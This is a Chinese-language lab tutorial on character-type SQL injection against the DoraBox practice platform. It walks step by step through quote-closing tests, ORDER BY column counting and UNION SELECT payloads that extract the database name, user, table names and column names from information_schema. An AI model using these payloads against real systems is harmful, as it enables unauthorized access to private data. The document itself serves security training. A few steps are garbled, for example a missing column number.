DoraBox ——掌握常见漏洞攻防
SQL注入篇2–字符型
1.判断是否存在注入,注入是字符型还是数字型(其实我们已经知道注入是数字类型,但为了更好的学习,按步骤进行学习)
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
接着我们分别输入
1 and 1=1
1 and 1=2
以上均不能查到任何表
输入字符类型
1' and '1'='1
1' and '1'='2
均不能查到任何表
输入以下字符类型
1' or '1'='1
1' or '1'='2
通过这里我们可以判断该地的注入输入字符类型。
2.猜解SQL查询语句中的字段数
输入1’ order by 2 #,查询成功:(注意此处的语句,#是注释后面的单引号,前面的’是闭合SQL的“,一定要记住ORDERBY 后加数字不是字符 )
当我们输入字段为3时,没有出现报错
当我们输入字段为时,发生报错,由此可以看出有3个字段
3.确定显示的字段位置
-1' union select 1,2,3 #
从结果可以看出来字段显示的位置是2和3.
4.获取当前的数据库名和用户名
-1' union select 1,database(),user()#
通过回显可以看到具体数据库和用户
5.获取数据库中的表名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pentest' #
数据库表名为:account,news
6.获取表中的字段名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='account' #
account表中有id,rest,own三个字段
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news' #
news 表中有id,title,content三个字段